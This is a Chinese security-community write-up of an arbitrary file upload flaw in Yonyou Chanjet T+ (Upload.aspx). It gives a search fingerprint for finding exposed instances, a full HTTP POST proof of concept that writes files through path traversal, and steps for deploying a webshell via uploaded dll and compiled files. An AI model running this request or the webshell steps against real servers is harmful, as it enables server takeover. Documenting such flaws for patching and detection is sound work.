奇安信攻防社区-Yonyou Chanjet T+ Upload.aspx 任意文件上传漏洞

Yonyou Chanjet T+ Upload.aspx 任意文件上传漏洞

# Yonyou Chanjet T+ Upload.aspx 任意文件上传漏洞 ## 漏洞描述 Yonyou Chanjet T+ Upload.aspx接口存在任意文件上传漏洞，攻击者通过 preload 参数绕过身份验证进行文件上传，控制服务...

Yonyou Chanjet T+ Upload.aspx 任意文件上传漏洞
======================================

漏洞描述
----

Yonyou Chanjet T+ Upload.aspx接口存在任意文件上传漏洞，攻击者通过 preload 参数绕过身份验证进行文件上传，控制服务器

漏洞影响
----

Yonyou Chanjet T+

网络测绘
----

app="Chanjet通-TPlus"

漏洞复现
----

登录页面

![img](https://shs3.b.qianxin.com/butian_public/f7938639dd13a914998aa4cdd3394242327a2a4285ef4.jpg)

存在漏洞的接口为`/tplus/SM/SetupAccount/Upload.aspx`, 对应文件 `App_Web_upload.aspx.9475d17f.dll`

![img](https://shs3.b.qianxin.com/butian_public/f2782704ae669ee2f0524b00c6c06f82346a917f400a1.jpg)

上传文件类型验证不完善，可上传任意文件到服务器中的任意位置，验证POC

```html
POST /tplus/SM/SetupAccount/Upload.aspx?preload=1 HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 261
User-Agent: Mozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; ko-KR) AppleWebKit/535.16.4 (KHTML, like Gecko) Version/3.0.5 Mobile/8B117 Safari/6535.16.4
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVXR9biLu
Connection: close

------WebKitFormBoundaryVXR9biLu
Content-Disposition: form-data; name="File1";filename="../../../../../../../Program Files (x86)/Chanjet/TPlusStd/WebSite/1.txt"
Content-Type: image/jpeg

1
------WebKitFormBoundaryVXR9biLu--
```

由于应用为预编译的，直接上传的 `aspx木马`无法直接利用，需要通过上传 `dll 与 compiled`文件后利用Webshell

![img](https://shs3.b.qianxin.com/butian_public/f781864cb046d799e2a404d260de97f1fd7444ea6baa8.jpg)

将 `dll 与 compiled` 文件上传至 Web应用的 bin目录上，aspx上传至 Web根目录下

![img](https://shs3.b.qianxin.com/butian_public/f2461594662202504b4e7f4072a1dff17e76d2e62893f.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f868836a0123a8abe76fc786b2239f26a30ababd68459.jpg)

![img](https://shs3.b.qianxin.com/butian_public/f911859901f0abb44ce08f65cb8b545c8b678c5645f58.jpg)

再访问写入的Webshell进行连接

```html
/tplus/shell.aspx?preload=1 
```

发表于 2024-07-12 18:47:49
阅读 ( 658 )
分类：Web应用

Yonyou Chanjet T+ Upload.aspx 任意文件上传漏洞

0 条评论